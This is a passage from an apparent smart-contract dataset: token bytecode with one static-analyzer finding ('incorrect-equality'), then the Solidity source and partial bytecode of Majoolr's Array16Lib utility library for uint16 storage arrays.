1906129a0565b60405180910390f35b6040518060400160405280600581526020017f425452535400000000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060268152602001612cfc602691396112cb565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e4565b60405180910390a3600191505092915050565b6acecb8f27f4200f3a00000081565b6040516106099061271c565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d685604051806060016040528060268152602001612cfc602691396112cb565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075057507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088d57600061077a83836040518060600160405280603e8152602001612c3c603e9139611329565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088391906129e4565b60405180910390a3505b61089887878361139a565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e8338261177b565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b8906128ea565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2e576000915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3057600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8a565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb1576000915050610d8a565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0c576000600283830363ffffffff1681610be757fe5b0482039050610bf4612002565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce457806020015195505050505050610d8a565b86816000015163ffffffff161015610cfe57819350610d05565b6001820392505b5050610bbf565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600581526020017f425452535400000000000000000000000000000000000000000000000000000081525081565b600080610e0683604051806060016040528060278152602001612d22602791396112cb565b9050610e1333858361139a565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e88576000610f04565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1a9061271c565b60405180910390206040518060400160405280600581526020017f425452535400000000000000000000000000000000000000000000000000000081525080519060200120610f6761193b565b30604051602001610f7b94939291906127dc565b6040516020818303038152906040528051906020012090506000604051610fa190612731565b6040518091039020888888604051602001610fbf9493929190612797565b60405160208183030381529060405280519060200120905060008282604051602001610fec9291906126e5565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516110299493929190612821565b6020604051602081039080840390855afa15801561104b573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110be906128aa565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611156576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114d9061292a565b60405180910390fd5b87421115611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061290a565b60405180910390fd5b6111a3818b61177b565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126790612731565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c010000000000000000000000008310829061131f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113169190612888565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113849190612888565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611401906128ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114719061294a565b60405180910390fd5b6114f4600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060378152602001612c0560379139611329565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115db600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060318152602001612ca260319139611948565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a591906129e4565b60405180910390a3611776600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119be565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119358284836119be565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a99190612888565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0857506000816bffffffffffffffffffffffff16115b15611cb457600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b60576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aab576000611b27565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4e8285604051806060016040528060298152602001612cd360299139611329565b9050611b5c86848484611cb9565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb3576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bfe576000611c7a565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca18285604051806060016040528060288152602001612c7a60289139611948565b9050611caf85848484611cb9565b5050505b5b505050565b6000611cdd43604051806060016040528060358152602001612bd060359139611fac565b905060008463ffffffff16118015611d7257508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0d5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f55565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9d929190612a1a565b60405180910390a25050505050565b600064010000000083108290611ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fef9190612888565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061203f81612b5c565b92915050565b60008135905061205481612b73565b92915050565b60008135905061206981612b8a565b92915050565b60008135905061207e81612ba1565b92915050565b60008135905061209381612bb8565b92915050565b6000602082840312156120ab57600080fd5b60006120b984828501612030565b91505092915050565b600080604083850312156120d557600080fd5b60006120e385828601612030565b92505060206120f485828601612030565b9150509250929050565b60008060006060848603121561211357600080fd5b600061212186828701612030565b935050602061213286828701612030565b92505060406121438682870161205a565b9150509250925092565b6000806040838503121561216057600080fd5b600061216e85828601612030565b925050602061217f8582860161205a565b9150509250929050565b60008060008060008060c087890312156121a257600080fd5b60006121b089828a01612030565b96505060206121c189828a0161205a565b95505060406121d289828a0161205a565b94505060606121e389828a01612084565b93505060806121f489828a01612045565b92505060a061220589828a01612045565b9150509295509295509295565b6000806040838503121561222557600080fd5b600061223385828601612030565b92505060206122448582860161206f565b9150509250929050565b61225781612a75565b82525050565b61226681612a87565b82525050565b61227581612a93565b82525050565b61228c61228782612a93565b612b41565b82525050565b600061229d82612a4e565b6122a78185612a59565b93506122b7818560208601612b0e565b6122c081612b4b565b840191505092915050565b60006122d682612a43565b6122e08185612a59565b93506122f0818560208601612b0e565b6122f981612b4b565b840191505092915050565b6000612311602783612a59565b91507f42545253543a3a64656c656761746542795369673a20696e76616c696420736960008301527f676e6174757265000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612377603d83612a59565b91507f42545253543a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e736665722066726f6d20746865207a65726f20616464726573730000006020830152604082019050919050565b60006123dd600283612a6a565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b600061241d602883612a59565b91507f42545253543a3a6765745072696f72566f7465733a206e6f742079657420646560008301527f7465726d696e65640000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612483602783612a59565b91507f42545253543a3a64656c656761746542795369673a207369676e61747572652060008301527f65787069726564000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124e9604383612a6a565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000612575602383612a59565b91507f42545253543a3a64656c656761746542795369673a20696e76616c6964206e6f60008301527f6e636500000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125db603a83612a6a565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6000612641603b83612a59565b91507f42545253543a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207460008301527f72616e7366657220746f20746865207a65726f206164647265737300000000006020830152604082019050919050565b6126a381612abd565b82525050565b6126b281612ac7565b82525050565b6126c181612ad7565b82525050565b6126d081612afc565b82525050565b6126df81612ae4565b82525050565b60006126f0826123d0565b91506126fc828561227b565b60208201915061270c828461227b565b6020820191508190509392505050565b6000612727826124dc565b9150819050919050565b600061273c826125ce565b9150819050919050565b600060208201905061275b600083018461224e565b92915050565b6000602082019050612776600083018461225d565b92915050565b6000602082019050612791600083018461226c565b92915050565b60006080820190506127ac600083018761226c565b6127b9602083018661224e565b6127c6604083018561269a565b6127d3606083018461269a565b95945050505050565b60006080820190506127f1600083018761226c565b6127fe602083018661226c565b61280b604083018561269a565b612818606083018461224e565b95945050505050565b6000608082019050612836600083018761226c565b61284360208301866126b8565b612850604083018561226c565b61285d606083018461226c565b95945050505050565b6000602082019050818103600083015261288081846122cb565b905092915050565b600060208201905081810360008301526128a28184612292565b905092915050565b600060208201905081810360008301526128c381612304565b9050919050565b600060208201905081810360008301526128e38161236a565b9050919050565b6000602082019050818103600083015261290381612410565b9050919050565b6000602082019050818103600083015261292381612476565b9050919050565b6000602082019050818103600083015261294381612568565b9050919050565b6000602082019050818103600083015261296381612634565b9050919050565b600060208201905061297f600083018461269a565b92915050565b600060208201905061299a60008301846126a9565b92915050565b60006040820190506129b560008301856126a9565b6129c260208301846126d6565b9392505050565b60006020820190506129de60008301846126b8565b92915050565b60006020820190506129f960008301846126c7565b92915050565b6000602082019050612a1460008301846126d6565b92915050565b6000604082019050612a2f60008301856126c7565b612a3c60208301846126c7565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8082612a9d565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0782612ae4565b9050919050565b60005b83811015612b2c578082015181840152602081019050612b11565b83811115612b3b576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6581612a75565b8114612b7057600080fd5b50565b612b7c81612a93565b8114612b8757600080fd5b50565b612b9381612abd565b8114612b9e57600080fd5b50565b612baa81612ac7565b8114612bb557600080fd5b50565b612bc181612ad7565b8114612bcc57600080fd5b5056fe42545253543a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d6265722065786365656473203332206269747342545253543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e636542545253543a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636542545253543a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f777342545253543a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f777342545253543a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f777342545253543a3a617070726f76653a20616d6f756e742065786365656473203936206269747342545253543a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473a365627a7a72315820a4adfd9906f6e0b84bdf59eacd32bb9ecb0225f77f91d8e8b41bdb57d0b616e56c6578706572696d656e74616cf564736f6c63430005100040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 7,705 |
0x2c61c117b2fb8a481a6936ad7015717b6a9c6ba1
|
pragma solidity ^0.4.13;
/**
* @title Array16 Library
* @author Majoolr.io
*
* version 1.0.0
* Copyright (c) 2017 Majoolr, LLC
* The MIT License (MIT)
* https://github.com/Majoolr/ethereum-libraries/blob/master/LICENSE
*
* The Array16 Library provides a few utility functions to work with
* storage uint16[] types in place. Majoolr works on open source projects in
* the Ethereum community with the purpose of testing, documenting, and deploying
* reusable code onto the blockchain to improve security and usability of smart
* contracts. Majoolr also strives to educate non-profits, schools, and other
* community members about the application of blockchain technology.
* For further information: majoolr.io
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
library Array16Lib {
/// @dev Sum vector
/// @param self Storage array containing uint256 type variables
/// @return sum The sum of all elements, does not check for overflow
function sumElements(uint16[] storage self) constant returns(uint16 sum) {
uint256 term;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,16)))
switch mod(i,16)
case 1 {
for { let j := 0 } lt(j, 1) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 2 {
for { let j := 0 } lt(j, 2) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 3 {
for { let j := 0 } lt(j, 3) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 4 {
for { let j := 0 } lt(j, 4) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 5 {
for { let j := 0 } lt(j, 5) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 6 {
for { let j := 0 } lt(j, 6) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 7 {
for { let j := 0 } lt(j, 7) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 8 {
for { let j := 0 } lt(j, 8) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 9 {
for { let j := 0 } lt(j, 9) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 10 {
for { let j := 0 } lt(j, 10) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 11 {
for { let j := 0 } lt(j, 11) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 12 {
for { let j := 0 } lt(j, 12) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 13 {
for { let j := 0 } lt(j, 13) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 14 {
for { let j := 0 } lt(j, 14) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 15 {
for { let j := 0 } lt(j, 15) { j := add(j, 1) } {
term := div(term,65536)
}
}
term := and(0x000000000000000000000000000000000000000000000000000000000000ffff,term)
sum := add(term,sum)
}
}
}
/// @dev Returns the max value in an array.
/// @param self Storage array containing uint256 type variables
/// @return maxValue The highest value in the array
function getMax(uint16[] storage self) constant returns(uint16 maxValue) {
uint256 term;
assembly {
mstore(0x60,self_slot)
maxValue := 0
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,16)))
switch mod(i,16)
case 1 {
for { let j := 0 } lt(j, 1) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 2 {
for { let j := 0 } lt(j, 2) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 3 {
for { let j := 0 } lt(j, 3) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 4 {
for { let j := 0 } lt(j, 4) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 5 {
for { let j := 0 } lt(j, 5) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 6 {
for { let j := 0 } lt(j, 6) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 7 {
for { let j := 0 } lt(j, 7) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 8 {
for { let j := 0 } lt(j, 8) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 9 {
for { let j := 0 } lt(j, 9) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 10 {
for { let j := 0 } lt(j, 10) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 11 {
for { let j := 0 } lt(j, 11) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 12 {
for { let j := 0 } lt(j, 12) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 13 {
for { let j := 0 } lt(j, 13) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 14 {
for { let j := 0 } lt(j, 14) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 15 {
for { let j := 0 } lt(j, 15) { j := add(j, 1) } {
term := div(term,65536)
}
}
term := and(0x000000000000000000000000000000000000000000000000000000000000ffff,term)
switch lt(maxValue, term)
case 1 {
maxValue := term
}
}
}
}
/// @dev Returns the minimum value in an array.
/// @param self Storage array containing uint256 type variables
/// @return minValue The highest value in the array
function getMin(uint16[] storage self) constant returns(uint16 minValue) {
uint256 term;
assembly {
mstore(0x60,self_slot)
for { let i := 0 } lt(i, sload(self_slot)) { i := add(i, 1) } {
term := sload(add(sha3(0x60,0x20),div(i,16)))
switch mod(i,16)
case 1 {
for { let j := 0 } lt(j, 1) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 2 {
for { let j := 0 } lt(j, 2) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 3 {
for { let j := 0 } lt(j, 3) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 4 {
for { let j := 0 } lt(j, 4) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 5 {
for { let j := 0 } lt(j, 5) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 6 {
for { let j := 0 } lt(j, 6) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 7 {
for { let j := 0 } lt(j, 7) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 8 {
for { let j := 0 } lt(j, 8) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 9 {
for { let j := 0 } lt(j, 9) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 10 {
for { let j := 0 } lt(j, 10) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 11 {
for { let j := 0 } lt(j, 11) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 12 {
for { let j := 0 } lt(j, 12) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 13 {
for { let j := 0 } lt(j, 13) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 14 {
for { let j := 0 } lt(j, 14) { j := add(j, 1) } {
term := div(term,65536)
}
}
case 15 {
for { let j := 0 } lt(j, 15) { j := add(j, 1) } {
term := div(term,65536)
}
}
term := and(0x000000000000000000000000000000000000000000000000000000000000ffff,term)
switch eq(i,0)
case 1 {
minValue := term
}
switch gt(minValue, term)
case 1 {
minValue := term
}
}
}
}
/// @dev Finds the index of a given value in an array
/// @param self Storage array containing uint256 type variables
/// @param value The value to search for
/// @param isSorted True if the array is sorted, false otherwise
/// @return found True if the value was found, false otherwise
/// @return index The index of the given value, returns 0 if found is false
function indexOf(uint16[] storage self, uint16 value, bool isSorted) constant
returns(bool found, uint256 index) {
if (isSorted) {
uint256 high = self.length - 1;
uint256 mid = 0;
uint256 low = 0;
while (low <= high) {
mid = (low+high)/2;
if (self[mid] == value) {
found = true;
index = mid;
low = high + 1;
} else if (self[mid] < value) {
low = mid + 1;
} else {
high = mid - 1;
}
}
} else {
for (uint256 i = 0; i<self.length; i++) {
if (self[i] == value) {
found = true;
index = i;
i = self.length;
}
}
}
}
/// @dev Utility function for heapSort
/// @param index The index of child node
/// @return pI The parent node index
function getParentI(uint256 index) constant private returns (uint256 pI) {
uint256 i = index - 1;
pI = i/2;
}
/// @dev Utility function for heapSort
/// @param index The index of parent node
/// @return lcI The index of left child
function getLeftChildI(uint256 index) constant private returns (uint256 lcI) {
uint256 i = index * 2;
lcI = i + 1;
}
/// @dev Sorts given array in place
/// @param self Storage array containing uint256 type variables
function heapSort(uint16[] storage self) {
uint256 end = self.length - 1;
uint256 start = getParentI(end);
uint256 root = start;
uint256 lChild;
uint256 rChild;
uint256 swap;
uint16 temp;
while(start >= 0){
root = start;
lChild = getLeftChildI(start);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end+1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
if(start == 0)
break;
else
start = start - 1;
}
while(end > 0){
temp = self[end];
self[end] = self[0];
self[0] = temp;
end = end - 1;
root = 0;
lChild = getLeftChildI(0);
while(lChild <= end){
rChild = lChild + 1;
swap = root;
if(self[swap] < self[lChild])
swap = lChild;
if((rChild <= end) && (self[swap]<self[rChild]))
swap = rChild;
if(swap == root)
lChild = end + 1;
else {
temp = self[swap];
self[swap] = self[root];
self[root] = temp;
root = swap;
lChild = getLeftChildI(root);
}
}
}
}
}
|
0x606060405263ffffffff60e060020a60003504166313b704fe81146100505780632b35407d1461005d578063b1df4ec51461007f578063c59d3b9c146100b0578063e855c4c8146100d2575b600080fd5b61005b6004356100f4565b005b610068600435610687565b60405161ffff909116815260200160405180910390f35b61009660043561ffff60243516604435151561094e565b604051911515825260208201526040908101905180910390f35b610068600435610aa0565b60405161ffff909116815260200160405180910390f35b610068600435610d78565b60405161ffff909116815260200160405180910390f35b8054600019016000808080808061010a87611064565b95508594505b600086106103575785945061012486611079565b93505b86841161033f57836001019250849150878481548110151561014557fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff16888381548110151561017c57fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff1610156101af578391505b86831115801561022a575087838154811015156101c857fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff1688838154811015156101ff57fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1661ffff16105b15610233578291505b848214156102465786600101935061033a565b878281548110151561025457fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff169050878581548110151561028957fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff1688838154811015156102bc57fe5b90600052602060002090601091828204019190066002025b6101000a81548161ffff021916908361ffff1602179055508088868154811015156102fb57fe5b90600052602060002090601091828204019190066002025b6101000a81548161ffff021916908361ffff16021790555081945061033785611079565b93505b610127565b85151561034b57610357565b6001860395505b610110565b5b600087111561067c57878781548110151561036f57fe5b90600052602060002090601091828204019190066002025b9054906101000a900461ffff169050876000815